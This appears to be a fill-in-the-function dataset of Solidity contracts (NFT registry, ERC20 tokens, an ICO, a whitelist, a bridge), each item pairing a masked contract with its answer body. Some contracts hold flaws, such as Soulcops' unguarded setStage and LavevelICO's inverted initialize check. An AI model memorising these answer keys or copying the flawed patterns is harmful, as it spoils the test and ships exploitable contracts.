memory owners, address[] memory cosigners, address[] memory pointers, address[] memory approveds, uint256 totalYATs, uint256 totalPages) { require(_limit > 0); totalYATs = totalSupply(); if (totalYATs > 0) { totalPages = (totalYATs / _limit) + (totalYATs % _limit == 0 ? 0 : 1); require(_page < totalPages); uint256 _offset = _limit * _page; if (_page == totalPages - 1 && totalYATs % _limit != 0) { _limit = totalYATs % _limit; } tokenIds = new uint256[](_limit); for (uint256 i = 0; i < _limit; i++) { tokenIds[i] = tokenByIndex(_isAsc ? _offset + i : totalYATs - _offset - i - 1); } } else { totalPages = 0; tokenIds = new uint256[](0); } (tokens, owners, cosigners, pointers, approveds) = getYATs(tokenIds); } function getOwnerYATsTable(address _owner, uint256 _limit, uint256 _page, bool _isAsc) public view returns (uint256[] memory tokenIds, bytes32[] memory tokens, address[] memory cosigners, address[] memory pointers, address[] memory approveds, uint256 totalYATs, uint256 totalPages) { require(_limit > 0); totalYATs = balanceOf(_owner); if (totalYATs > 0) { totalPages = (totalYATs / _limit) + (totalYATs % _limit == 0 ? 0 : 1); require(_page < totalPages); uint256 _offset = _limit * _page; if (_page == totalPages - 1 && totalYATs % _limit != 0) { _limit = totalYATs % _limit; } tokenIds = new uint256[](_limit); for (uint256 i = 0; i < _limit; i++) { tokenIds[i] = tokenOfOwnerByIndex(_owner, _isAsc ? _offset + i : totalYATs - _offset - i - 1); } } else { totalPages = 0; tokenIds = new uint256[](0); } (tokens, , cosigners, pointers, approveds) = getYATs(tokenIds); } function allInfoFor(address _owner) external view returns (uint256 supply, uint256 ownerBalance) { return (totalSupply(), balanceOf(_owner)); } function _mint(string memory _token, address _account) internal { uint256 _tokenId; bytes32 _hash = hashOf(_token); if (info.idOf[_hash] == 0) { _tokenId = info.totalSupply++; info.idOf[_hash] = _tokenId + 1; Token storage _newToken = info.list[_tokenId]; _newToken.owner = _account; _newToken.cosigner = USE_GLOBAL_SIGNER; _newToken.token = _token; uint256 _index = info.users[_account].balance++; info.users[_account].indexOf[_tokenId] = _index + 1; info.users[_account].list[_index] = _tokenId; emit Transfer(address(0x0), _account, _tokenId); emit Transfer(address(0x0), _account, _hash, _token); } else { _tokenId = idOf(_token); info.list[_tokenId].approved = msg.sender; _transfer(address(this), _account, _tokenId); } emit Mint(_hash, _tokenId, _account, _token); } function _transfer(address _from, address _to, uint256 _tokenId) internal { address _owner = ownerOf(_tokenId); address _approved = getApproved(_tokenId); require(_from == _owner); require(msg.sender == _owner || msg.sender == _approved || isApprovedForAll(_owner, msg.sender)); info.list[_tokenId].owner = _to; info.list[_tokenId].cosigner = USE_GLOBAL_SIGNER; info.list[_tokenId].pointsTo = _to; if (_approved != address(0x0)) { info.list[_tokenId].approved = address(0x0); emit Approval(_to, address(0x0), _tokenId); } _updateResolvesTo(address(0x0), _tokenId); _deleteAllRecords(_tokenId); uint256 _index = info.users[_from].indexOf[_tokenId] - 1; uint256 _moved = info.users[_from].list[info.users[_from].balance - 1]; info.users[_from].list[_index] = _moved; info.users[_from].indexOf[_moved] = _index + 1; info.users[_from].balance--; delete info.users[_from].indexOf[_tokenId]; uint256 _newIndex = info.users[_to].balance++; info.users[_to].indexOf[_tokenId] = _newIndex + 1; info.users[_to].list[_newIndex] = _tokenId; emit Transfer(_from, _to, _tokenId); emit Transfer(_from, _to, hashOf(tokenOf(_tokenId)), tokenOf(_tokenId)); } function _updateResolvesTo(address _resolvesTo, uint256 _tokenId) internal { if (_resolvesTo == address(0x0)) { delete info.resolve[info.list[_tokenId].resolvesTo]; info.list[_tokenId].resolvesTo = _resolvesTo; } else { require(bytes(resolve(_resolvesTo)).length == 0); require(info.list[_tokenId].resolvesTo == address(0x0)); info.resolve[_resolvesTo] = tokenOf(_tokenId); info.list[_tokenId].resolvesTo = _resolvesTo; } } function _updateRecord(uint256 _tokenId, string memory _key, string memory _value) internal { require(bytes(_key).length > 0); bytes32 _hash = keccak256(abi.encodePacked(_key)); if (bytes(getKey(_hash)).length == 0) { info.dictionary[_hash] = _key; } Token storage _token = info.list[_tokenId]; if (bytes(_value).length == 0) { _deleteRecord(_tokenId, _key, _hash); } else { if (_token.indexOf[_hash] == 0) { uint256 _index = _token.records++; _token.indexOf[_hash] = _index + 1; _token.keys[_index] = _hash; emit RecordAdded(hashOf(tokenOf(_tokenId)), msg.sender, hashOf(_key), tokenOf(_tokenId), _key); } _token.values[_hash] = _value; } emit RecordUpdated(hashOf(tokenOf(_tokenId)), msg.sender, hashOf(_key), tokenOf(_tokenId), _key, _value); } function _deleteRecord(uint256 _tokenId, string memory _key, bytes32 _hash) internal { Token storage _token = info.list[_tokenId]; require(_token.indexOf[_hash] != 0); uint256 _index = _token.indexOf[_hash] - 1; bytes32 _moved = _token.keys[_token.records - 1]; _token.keys[_index] = _moved; _token.indexOf[_moved] = _index + 1; _token.records--; delete _token.indexOf[_hash]; delete _token.values[_hash]; emit RecordDeleted(hashOf(tokenOf(_tokenId)), msg.sender, hashOf(_key), tokenOf(_tokenId), _key); } function _deleteAllRecords(uint256 _tokenId) internal { Token storage _token = info.list[_tokenId]; while (_token.records > 0) { bytes32 _hash = _token.keys[_token.records - 1]; _deleteRecord(_tokenId, getKey(_hash), _hash); } } function _getEthSignedMessageHash(bytes32 _messageHash) internal pure returns (bytes32) { return keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", _messageHash)); } function _splitSignature(bytes memory _signature) internal pure returns (bytes32 r, bytes32 s, uint8 v) { require(_signature.length == 65); assembly { r := mload(add(_signature, 32)) s := mload(add(_signature, 64)) v := byte(0, mload(add(_signature, 96))) } } function _recoverSigner(bytes32 _ethSignedMessageHash, bytes memory _signature) internal pure returns (address) { (bytes32 r, bytes32 s, uint8 v) = _splitSignature(_signature); return ecrecover(_ethSignedMessageHash, v, r, s); } function _verifyMint(string calldata _token, address _account, uint256 _expiry, bytes memory _signature) internal view returns (bool) { bytes32 _hash = keccak256(abi.encodePacked("yatNFT", _token, _account, _expiry)); return _recoverSigner(_getEthSignedMessageHash(_hash), _signature) == signer(); } function _verifyRecordUpdate(uint256 _tokenId, string memory _key, string memory _value, uint256 _nonce, bytes memory _signature) internal view returns (bool) { bytes32 _hash = keccak256(abi.encodePacked(_tokenId, _key, _value, _nonce)); address _signer = _recoverSigner(_getEthSignedMessageHash(_hash), _signature); return _signer == ownerOf(_tokenId) || _signer == cosignerOf(_tokenId); } function _stringToBytes32(string memory _in) internal pure returns (bytes32 out) { if (bytes(_in).length == 0) { return 0x0; } assembly { out := mload(add(_in, 32)) } } }
require(_limit > 0); totalRecords = recordsOf(_tokenId); if (totalRecords > 0) { totalPages = (totalRecords / _limit) + (totalRecords % _limit == 0 ? 0 : 1); require(_page < totalPages); uint256 _offset = _limit * _page; if (_page == totalPages - 1 && totalRecords % _limit != 0) { _limit = totalRecords % _limit; } hashes = new bytes32[](_limit); keys = new bytes32[](_limit); keysTrimmed = new bool[](_limit); for (uint256 i = 0; i < _limit; i++) { hashes[i] = info.list[_tokenId].keys[_isAsc ? _offset + i : totalRecords - _offset - i - 1]; string memory _key = getKey(hashes[i]); keys[i] = _stringToBytes32(_key); keysTrimmed[i] = bytes(_key).length > 32; } } else { totalPages = 0; hashes = new bytes32[](0); keys = new bytes32[](0); keysTrimmed = new bool[](0); } (values, valuesTrimmed) = getRecords(_tokenId, hashes);
function getRecordsTable(uint256 _tokenId, uint256 _limit, uint256 _page, bool _isAsc) public view returns (bytes32[] memory hashes, bytes32[] memory keys, bool[] memory keysTrimmed, bytes32[] memory values, bool[] memory valuesTrimmed, uint256 totalRecords, uint256 totalPages)
function getRecordsTable(uint256 _tokenId, uint256 _limit, uint256 _page, bool _isAsc) public view returns (bytes32[] memory hashes, bytes32[] memory keys, bool[] memory keysTrimmed, bytes32[] memory values, bool[] memory valuesTrimmed, uint256 totalRecords, uint256 totalPages)
13501
Ownable
null
contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() {<FILL_FUNCTION_BODY> } function deployer() private view returns (address) { return _previousOwner; } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _previousOwner = _owner; _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } }
contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); <FILL_FUNCTION> function deployer() private view returns (address) { return _previousOwner; } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _previousOwner = _owner; _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } }
address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender);
constructor()
constructor()
74521
plasmapaygod
transferFrom
contract plasmapaygod is ERC20{ uint8 public constant decimals = 18; uint256 initialSupply = 5000000*10**uint256(decimals); string public constant name = "PlasmaPay"; string public constant symbol = "PPAY"; address payable teamAddress; function totalSupply() public view returns (uint256) { return initialSupply; } mapping (address => uint256) balances; mapping (address => mapping (address => uint256)) allowed; function balanceOf(address owner) public view returns (uint256 balance) { return balances[owner]; } function allowance(address owner, address spender) public view returns (uint remaining) { return allowed[owner][spender]; } function transfer(address to, uint256 value) public returns (bool success) { if (balances[msg.sender] >= value && value > 0) { balances[msg.sender] -= value; balances[to] += value; emit Transfer(msg.sender, to, value); return true; } else { return false; } } function transferFrom(address from, address to, uint256 value) public returns (bool success) {<FILL_FUNCTION_BODY> } function approve(address spender, uint256 value) public returns (bool success) { allowed[msg.sender][spender] = value; emit Approval(msg.sender, spender, value); return true; } function () external payable { teamAddress.transfer(msg.value); } constructor () public payable { teamAddress = msg.sender; balances[teamAddress] = initialSupply; } }
contract plasmapaygod is ERC20{ uint8 public constant decimals = 18; uint256 initialSupply = 5000000*10**uint256(decimals); string public constant name = "PlasmaPay"; string public constant symbol = "PPAY"; address payable teamAddress; function totalSupply() public view returns (uint256) { return initialSupply; } mapping (address => uint256) balances; mapping (address => mapping (address => uint256)) allowed; function balanceOf(address owner) public view returns (uint256 balance) { return balances[owner]; } function allowance(address owner, address spender) public view returns (uint remaining) { return allowed[owner][spender]; } function transfer(address to, uint256 value) public returns (bool success) { if (balances[msg.sender] >= value && value > 0) { balances[msg.sender] -= value; balances[to] += value; emit Transfer(msg.sender, to, value); return true; } else { return false; } } <FILL_FUNCTION> function approve(address spender, uint256 value) public returns (bool success) { allowed[msg.sender][spender] = value; emit Approval(msg.sender, spender, value); return true; } function () external payable { teamAddress.transfer(msg.value); } constructor () public payable { teamAddress = msg.sender; balances[teamAddress] = initialSupply; } }
if (balances[from] >= value && allowed[from][msg.sender] >= value && value > 0) { balances[to] += value; balances[from] -= value; allowed[from][msg.sender] -= value; emit Transfer(from, to, value); return true; } else { return false; }
function transferFrom(address from, address to, uint256 value) public returns (bool success)
function transferFrom(address from, address to, uint256 value) public returns (bool success)
31116
TkoWhitelist
changeAdmin
contract TkoWhitelist is Ownable{ using SafeMath for uint256; // Manage whitelist account address. address public admin; mapping(address => uint256) internal totalIndividualWeiAmount; mapping(address => bool) internal whitelist; event AdminChanged(address indexed previousAdmin, address indexed newAdmin); /** * TkoWhitelist * @dev TkoWhitelist is the storage for whitelist and total amount by contributor's address. * @param _admin Address of managing whitelist. */ function TkoWhitelist (address _admin) public { require(_admin != address(0)); admin = _admin; } /** * @dev Throws if called by any account other than the owner or the admin. */ modifier onlyOwnerOrAdmin() { require(msg.sender == owner || msg.sender == admin); _; } /** * @dev Allows the current owner to change administrator account of the contract to a newAdmin. * @param newAdmin The address to transfer ownership to. */ function changeAdmin(address newAdmin) public onlyOwner {<FILL_FUNCTION_BODY> } /** * @dev Returen whether the beneficiary is whitelisted. */ function isWhitelisted(address _beneficiary) external view onlyOwnerOrAdmin returns (bool) { return whitelist[_beneficiary]; } /** * @dev Adds single address to whitelist. * @param _beneficiary Address to be added to the whitelist */ function addToWhitelist(address _beneficiary) external onlyOwnerOrAdmin { whitelist[_beneficiary] = true; } /** * @dev Adds list of addresses to whitelist. * @param _beneficiaries Addresses to be added to the whitelist */ function addManyToWhitelist(address[] _beneficiaries) external onlyOwnerOrAdmin { for (uint256 i = 0; i < _beneficiaries.length; i++) { whitelist[_beneficiaries[i]] = true; } } /** * @dev Removes single address from whitelist. * @param _beneficiary Address to be removed to the whitelist */ function removeFromWhitelist(address _beneficiary) external onlyOwnerOrAdmin { whitelist[_beneficiary] = false; } /** * @dev Return total individual wei amount. * @param _beneficiary Addresses to get total wei amount . * @return Total wei amount for the address. */ function getTotalIndividualWeiAmount(address _beneficiary) external view onlyOwnerOrAdmin returns (uint256) { return totalIndividualWeiAmount[_beneficiary]; } /** * @dev Set total individual wei amount. * @param _beneficiary Addresses to set total wei amount. * @param _totalWeiAmount Total wei amount for the address. */ function setTotalIndividualWeiAmount(address _beneficiary,uint256 _totalWeiAmount) external onlyOwner { totalIndividualWeiAmount[_beneficiary] = _totalWeiAmount; } /** * @dev Add total individual wei amount. * @param _beneficiary Addresses to add total wei amount. * @param _weiAmount Total wei amount to be added for the address. */ function addTotalIndividualWeiAmount(address _beneficiary,uint256 _weiAmount) external onlyOwner { totalIndividualWeiAmount[_beneficiary] = totalIndividualWeiAmount[_beneficiary].add(_weiAmount); } }
contract TkoWhitelist is Ownable{ using SafeMath for uint256; // Manage whitelist account address. address public admin; mapping(address => uint256) internal totalIndividualWeiAmount; mapping(address => bool) internal whitelist; event AdminChanged(address indexed previousAdmin, address indexed newAdmin); /** * TkoWhitelist * @dev TkoWhitelist is the storage for whitelist and total amount by contributor's address. * @param _admin Address of managing whitelist. */ function TkoWhitelist (address _admin) public { require(_admin != address(0)); admin = _admin; } /** * @dev Throws if called by any account other than the owner or the admin. */ modifier onlyOwnerOrAdmin() { require(msg.sender == owner || msg.sender == admin); _; } <FILL_FUNCTION> /** * @dev Returen whether the beneficiary is whitelisted. */ function isWhitelisted(address _beneficiary) external view onlyOwnerOrAdmin returns (bool) { return whitelist[_beneficiary]; } /** * @dev Adds single address to whitelist. * @param _beneficiary Address to be added to the whitelist */ function addToWhitelist(address _beneficiary) external onlyOwnerOrAdmin { whitelist[_beneficiary] = true; } /** * @dev Adds list of addresses to whitelist. * @param _beneficiaries Addresses to be added to the whitelist */ function addManyToWhitelist(address[] _beneficiaries) external onlyOwnerOrAdmin { for (uint256 i = 0; i < _beneficiaries.length; i++) { whitelist[_beneficiaries[i]] = true; } } /** * @dev Removes single address from whitelist. * @param _beneficiary Address to be removed to the whitelist */ function removeFromWhitelist(address _beneficiary) external onlyOwnerOrAdmin { whitelist[_beneficiary] = false; } /** * @dev Return total individual wei amount. * @param _beneficiary Addresses to get total wei amount . * @return Total wei amount for the address. */ function getTotalIndividualWeiAmount(address _beneficiary) external view onlyOwnerOrAdmin returns (uint256) { return totalIndividualWeiAmount[_beneficiary]; } /** * @dev Set total individual wei amount. * @param _beneficiary Addresses to set total wei amount. * @param _totalWeiAmount Total wei amount for the address. */ function setTotalIndividualWeiAmount(address _beneficiary,uint256 _totalWeiAmount) external onlyOwner { totalIndividualWeiAmount[_beneficiary] = _totalWeiAmount; } /** * @dev Add total individual wei amount. * @param _beneficiary Addresses to add total wei amount. * @param _weiAmount Total wei amount to be added for the address. */ function addTotalIndividualWeiAmount(address _beneficiary,uint256 _weiAmount) external onlyOwner { totalIndividualWeiAmount[_beneficiary] = totalIndividualWeiAmount[_beneficiary].add(_weiAmount); } }
require(newAdmin != address(0)); emit AdminChanged(admin, newAdmin); admin = newAdmin;
function changeAdmin(address newAdmin) public onlyOwner
/** * @dev Allows the current owner to change administrator account of the contract to a newAdmin. * @param newAdmin The address to transfer ownership to. */ function changeAdmin(address newAdmin) public onlyOwner
72415
Soulcops
tokenURI
contract Soulcops is ERC721EnumerableM, Ownable { using Strings for uint256; enum Stage { Shutdown, Presale, Publicsale } Stage public stage; bytes32 public root; uint256 public constant MAX_RESERVED = 500; uint256 public constant MAX_PRESALE = 2000 + MAX_RESERVED; uint256 public constant TOTAL = 10000; uint256 public constant PRICE = 0.08 ether; uint256 public constant PRE_PRICE = 0.068 ether; uint256 public constant MAX_NFT_SALE = 3; uint256 public reservedQtyMinted; uint256 public presaleQtyMinted; mapping(address => uint256) public listPresalePurchases; mapping(address => uint256) public listSalePurchases; string private _contractURI; string private _baseTokenURI; string private _defaultTokenURI; address SOULCOPS_WALLET = 0x71D54d6Dd26339B4d69C5cd922C4846aC6fb5E95; constructor( string memory defaultTokenURI, bytes32 merkleroot ) ERC721M("Soul Cops", "SOULCOPS") { _defaultTokenURI = defaultTokenURI; root = merkleroot; } function setMerkleRoot(bytes32 merkleroot) onlyOwner public { root = merkleroot; } // get remaining pre sale qty function presaleQtyRemaining() public view returns (uint256) { return MAX_PRESALE - reservedQtyMinted; } // get remaining sale qty function saleQtyRemaining() external view returns (uint256) { return TOTAL - presaleQtyMinted - reservedQtyMinted; } // gift token to spesfic address function gifting(address receiver,uint256 tokenQuantity) external onlyOwner { uint256 supply = totalSupply(); require(supply <= TOTAL, "All Soulcops minted"); require(reservedQtyMinted + tokenQuantity <= MAX_RESERVED, "Reserved Empty"); for (uint256 i = 0; i < tokenQuantity; i++) { reservedQtyMinted++; _safeMint(receiver, supply++); } } // presale sale buy function presaleBuy(uint256 tokenQuantity, uint256 allowance, bytes32[] calldata proof) external payable { uint256 supply = totalSupply(); require(_verify(_leaf(msg.sender, allowance), proof), "Invalid merkle proof"); require(stage==Stage.Presale, "The presale not active"); require(supply + tokenQuantity <= TOTAL, "Minting would exceed the sale allocation"); require(presaleQtyMinted + tokenQuantity <= presaleQtyRemaining(), "Minting would exceed the presale allocation"); require(listPresalePurchases[msg.sender] + tokenQuantity <= allowance, "You can not mint exceeds maximum NFT"); require(PRE_PRICE * tokenQuantity == msg.value, "ETH sent not match with total purchase"); listPresalePurchases[msg.sender] += tokenQuantity; for (uint256 i = 0; i < tokenQuantity; i++) { presaleQtyMinted++; _safeMint(msg.sender, supply++); } } // public sale buy function buy(uint256 tokenQuantity) external payable { uint256 supply = totalSupply(); require(stage==Stage.Publicsale, "The sale not active"); require(supply + tokenQuantity <= TOTAL, "Minting would exceed the sale allocation"); require(listSalePurchases[msg.sender] + tokenQuantity <= MAX_NFT_SALE, "You can not mint exceeds maximum NFT"); require(PRICE * tokenQuantity == msg.value, "ETH sent not match with total purchase"); listSalePurchases[msg.sender] += tokenQuantity; for (uint256 i = 0; i < tokenQuantity; i++) { _safeMint(msg.sender, supply++); } } // get all token by owner addresss function tokensOfOwner(address _owner) external view returns(uint256[] memory) { uint256 tokenCount = balanceOf(_owner); uint256[] memory tokensId = new uint256[](tokenCount); for(uint256 i; i < tokenCount; i++){ tokensId[i] = tokenOfOwnerByIndex(_owner, i); } return tokensId; } function withdraw() external onlyOwner { Address.sendValue(payable(SOULCOPS_WALLET), address(this).balance); } // list address presale purchased count function presalePurchasedCount(address addr) external view returns (uint256) { return listPresalePurchases[addr]; } // change stage presale, sale, and shutdown function setStage(Stage _stage) external { stage = _stage; } function setContractURI(string calldata URI) external onlyOwner { _contractURI = URI; } function setBaseURI(string calldata URI) external onlyOwner { _baseTokenURI = URI; } function setDefaultTokenURI(string calldata URI) external onlyOwner { _defaultTokenURI = URI; } function contractURI() public view returns (string memory) { return _contractURI; } function baseURI() public view returns (string memory) { return _baseTokenURI; } // get tokenURI by index, add default base uri function tokenURI(uint256 tokenId) external override view returns (string memory) {<FILL_FUNCTION_BODY> } function _leaf(address account, uint256 allowance)internal pure returns (bytes32) { return keccak256(abi.encodePacked(account,allowance)); } function _verify(bytes32 leaf, bytes32[] memory proof) internal view returns (bool) { return MerkleProof.verify(proof, root, leaf); } }
contract Soulcops is ERC721EnumerableM, Ownable { using Strings for uint256; enum Stage { Shutdown, Presale, Publicsale } Stage public stage; bytes32 public root; uint256 public constant MAX_RESERVED = 500; uint256 public constant MAX_PRESALE = 2000 + MAX_RESERVED; uint256 public constant TOTAL = 10000; uint256 public constant PRICE = 0.08 ether; uint256 public constant PRE_PRICE = 0.068 ether; uint256 public constant MAX_NFT_SALE = 3; uint256 public reservedQtyMinted; uint256 public presaleQtyMinted; mapping(address => uint256) public listPresalePurchases; mapping(address => uint256) public listSalePurchases; string private _contractURI; string private _baseTokenURI; string private _defaultTokenURI; address SOULCOPS_WALLET = 0x71D54d6Dd26339B4d69C5cd922C4846aC6fb5E95; constructor( string memory defaultTokenURI, bytes32 merkleroot ) ERC721M("Soul Cops", "SOULCOPS") { _defaultTokenURI = defaultTokenURI; root = merkleroot; } function setMerkleRoot(bytes32 merkleroot) onlyOwner public { root = merkleroot; } // get remaining pre sale qty function presaleQtyRemaining() public view returns (uint256) { return MAX_PRESALE - reservedQtyMinted; } // get remaining sale qty function saleQtyRemaining() external view returns (uint256) { return TOTAL - presaleQtyMinted - reservedQtyMinted; } // gift token to spesfic address function gifting(address receiver,uint256 tokenQuantity) external onlyOwner { uint256 supply = totalSupply(); require(supply <= TOTAL, "All Soulcops minted"); require(reservedQtyMinted + tokenQuantity <= MAX_RESERVED, "Reserved Empty"); for (uint256 i = 0; i < tokenQuantity; i++) { reservedQtyMinted++; _safeMint(receiver, supply++); } } // presale sale buy function presaleBuy(uint256 tokenQuantity, uint256 allowance, bytes32[] calldata proof) external payable { uint256 supply = totalSupply(); require(_verify(_leaf(msg.sender, allowance), proof), "Invalid merkle proof"); require(stage==Stage.Presale, "The presale not active"); require(supply + tokenQuantity <= TOTAL, "Minting would exceed the sale allocation"); require(presaleQtyMinted + tokenQuantity <= presaleQtyRemaining(), "Minting would exceed the presale allocation"); require(listPresalePurchases[msg.sender] + tokenQuantity <= allowance, "You can not mint exceeds maximum NFT"); require(PRE_PRICE * tokenQuantity == msg.value, "ETH sent not match with total purchase"); listPresalePurchases[msg.sender] += tokenQuantity; for (uint256 i = 0; i < tokenQuantity; i++) { presaleQtyMinted++; _safeMint(msg.sender, supply++); } } // public sale buy function buy(uint256 tokenQuantity) external payable { uint256 supply = totalSupply(); require(stage==Stage.Publicsale, "The sale not active"); require(supply + tokenQuantity <= TOTAL, "Minting would exceed the sale allocation"); require(listSalePurchases[msg.sender] + tokenQuantity <= MAX_NFT_SALE, "You can not mint exceeds maximum NFT"); require(PRICE * tokenQuantity == msg.value, "ETH sent not match with total purchase"); listSalePurchases[msg.sender] += tokenQuantity; for (uint256 i = 0; i < tokenQuantity; i++) { _safeMint(msg.sender, supply++); } } // get all token by owner addresss function tokensOfOwner(address _owner) external view returns(uint256[] memory) { uint256 tokenCount = balanceOf(_owner); uint256[] memory tokensId = new uint256[](tokenCount); for(uint256 i; i < tokenCount; i++){ tokensId[i] = tokenOfOwnerByIndex(_owner, i); } return tokensId; } function withdraw() external onlyOwner { Address.sendValue(payable(SOULCOPS_WALLET), address(this).balance); } // list address presale purchased count function presalePurchasedCount(address addr) external view returns (uint256) { return listPresalePurchases[addr]; } // change stage presale, sale, and shutdown function setStage(Stage _stage) external { stage = _stage; } function setContractURI(string calldata URI) external onlyOwner { _contractURI = URI; } function setBaseURI(string calldata URI) external onlyOwner { _baseTokenURI = URI; } function setDefaultTokenURI(string calldata URI) external onlyOwner { _defaultTokenURI = URI; } function contractURI() public view returns (string memory) { return _contractURI; } function baseURI() public view returns (string memory) { return _baseTokenURI; } <FILL_FUNCTION> function _leaf(address account, uint256 allowance)internal pure returns (bytes32) { return keccak256(abi.encodePacked(account,allowance)); } function _verify(bytes32 leaf, bytes32[] memory proof) internal view returns (bool) { return MerkleProof.verify(proof, root, leaf); } }
require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); string memory _baseURI = baseURI(); return bytes(_baseURI).length > 0 ? string(abi.encodePacked(_baseURI, tokenId.toString())) : _defaultTokenURI;
function tokenURI(uint256 tokenId) external override view returns (string memory)
// get tokenURI by index, add default base uri function tokenURI(uint256 tokenId) external override view returns (string memory)
22001
LavevelICO
isActive
contract LavevelICO is Ownable { using SafeMath for uint256; Token token; uint256 public constant RATE = 3000; // Number of tokens per Ether uint256 public constant CAP = 5350; // Cap in Ether uint256 public constant START = 1519862400; // Mar 26, 2018 @ 12:00 EST uint256 public constant DAYS = 45; // 45 Day uint256 public constant initialTokens = 6000000 * 10**18; // Initial number of tokens available bool public initialized = false; uint256 public raisedAmount = 0; /** * BoughtTokens * @dev Log tokens bought onto the blockchain */ event BoughtTokens(address indexed to, uint256 value); /** * whenSaleIsActive * @dev ensures that the contract is still active **/ modifier whenSaleIsActive() { // Check if sale is active assert(isActive()); _; } /** * LavevelICO * @dev LavevelICO constructor **/ function LavevelICO(address _tokenAddr) public { require(_tokenAddr != 0); token = Token(_tokenAddr); } /** * initialize * @dev Initialize the contract **/ function initialize() public onlyOwner { require(initialized == true); // Can only be initialized once require(tokensAvailable() == initialTokens); // Must have enough tokens allocated initialized = true; } /** * isActive * @dev Determins if the contract is still active **/ function isActive() public view returns (bool) {<FILL_FUNCTION_BODY> } /** * goalReached * @dev Function to determin is goal has been reached **/ function goalReached() public view returns (bool) { return (raisedAmount >= CAP * 1 ether); } /** * @dev Fallback function if ether is sent to address insted of buyTokens function **/ function () public payable { buyTokens(); } /** * buyTokens * @dev function that sells available tokens **/ function buyTokens() public payable whenSaleIsActive { uint256 weiAmount = msg.value; // Calculate tokens to sell uint256 tokens = weiAmount.mul(RATE); emit BoughtTokens(msg.sender, tokens); // log event onto the blockchain raisedAmount = raisedAmount.add(msg.value); // Increment raised amount token.transfer(msg.sender, tokens); // Send tokens to buyer owner.transfer(msg.value);// Send money to owner } /** * tokensAvailable * @dev returns the number of tokens allocated to this contract **/ function tokensAvailable() public constant returns (uint256) { return token.balanceOf(this); } /** * destroy * @notice Terminate contract and refund to owner **/ function destroy() onlyOwner public { // Transfer tokens back to owner uint256 balance = token.balanceOf(this); assert(balance > 0); token.transfer(owner, balance); // There should be no ether in the contract but just in case selfdestruct(owner); } }
contract LavevelICO is Ownable { using SafeMath for uint256; Token token; uint256 public constant RATE = 3000; // Number of tokens per Ether uint256 public constant CAP = 5350; // Cap in Ether uint256 public constant START = 1519862400; // Mar 26, 2018 @ 12:00 EST uint256 public constant DAYS = 45; // 45 Day uint256 public constant initialTokens = 6000000 * 10**18; // Initial number of tokens available bool public initialized = false; uint256 public raisedAmount = 0; /** * BoughtTokens * @dev Log tokens bought onto the blockchain */ event BoughtTokens(address indexed to, uint256 value); /** * whenSaleIsActive * @dev ensures that the contract is still active **/ modifier whenSaleIsActive() { // Check if sale is active assert(isActive()); _; } /** * LavevelICO * @dev LavevelICO constructor **/ function LavevelICO(address _tokenAddr) public { require(_tokenAddr != 0); token = Token(_tokenAddr); } /** * initialize * @dev Initialize the contract **/ function initialize() public onlyOwner { require(initialized == true); // Can only be initialized once require(tokensAvailable() == initialTokens); // Must have enough tokens allocated initialized = true; } <FILL_FUNCTION> /** * goalReached * @dev Function to determin is goal has been reached **/ function goalReached() public view returns (bool) { return (raisedAmount >= CAP * 1 ether); } /** * @dev Fallback function if ether is sent to address insted of buyTokens function **/ function () public payable { buyTokens(); } /** * buyTokens * @dev function that sells available tokens **/ function buyTokens() public payable whenSaleIsActive { uint256 weiAmount = msg.value; // Calculate tokens to sell uint256 tokens = weiAmount.mul(RATE); emit BoughtTokens(msg.sender, tokens); // log event onto the blockchain raisedAmount = raisedAmount.add(msg.value); // Increment raised amount token.transfer(msg.sender, tokens); // Send tokens to buyer owner.transfer(msg.value);// Send money to owner } /** * tokensAvailable * @dev returns the number of tokens allocated to this contract **/ function tokensAvailable() public constant returns (uint256) { return token.balanceOf(this); } /** * destroy * @notice Terminate contract and refund to owner **/ function destroy() onlyOwner public { // Transfer tokens back to owner uint256 balance = token.balanceOf(this); assert(balance > 0); token.transfer(owner, balance); // There should be no ether in the contract but just in case selfdestruct(owner); } }
return ( initialized == true && now >= START && // Must be after the START date now <= START.add(DAYS * 1 days) && // Must be before the end date goalReached() == false // Goal must not already be reached );
function isActive() public view returns (bool)
/** * isActive * @dev Determins if the contract is still active **/ function isActive() public view returns (bool)
89545
Shifter
transferTokenOwnership
contract Shifter is Ownable { using SafeMath for uint256; uint8 public version = 2; uint256 constant BIPS_DENOMINATOR = 10000; uint256 public minShiftAmount; ERC20Shifted public token; address public mintAuthority; address public feeRecipient; uint16 public fee; mapping (bytes32=>bool) public status; uint256 public nextShiftID = 0; event LogShiftIn( address indexed _to, uint256 _amount, uint256 indexed _shiftID ); event LogShiftOut( bytes _to, uint256 _amount, uint256 indexed _shiftID, bytes indexed _indexedTo ); constructor(ERC20Shifted _token, address _feeRecipient, address _mintAuthority, uint16 _fee, uint256 _minShiftOutAmount) public { minShiftAmount = _minShiftOutAmount; token = _token; mintAuthority = _mintAuthority; fee = _fee; updateFeeRecipient(_feeRecipient); } function claimTokenOwnership() public { token.claimOwnership(); } function transferTokenOwnership(Shifter _nextTokenOwner) public onlyOwner {<FILL_FUNCTION_BODY> } function updateMintAuthority(address _nextMintAuthority) public onlyOwner { mintAuthority = _nextMintAuthority; } function updateMinimumShiftOutAmount(uint256 _minShiftOutAmount) public onlyOwner { minShiftAmount = _minShiftOutAmount; } function updateFeeRecipient(address _nextFeeRecipient) public onlyOwner { require(_nextFeeRecipient != address(0x0), "fee recipient cannot be 0x0"); feeRecipient = _nextFeeRecipient; } function updateFee(uint16 _nextFee) public onlyOwner { fee = _nextFee; } function 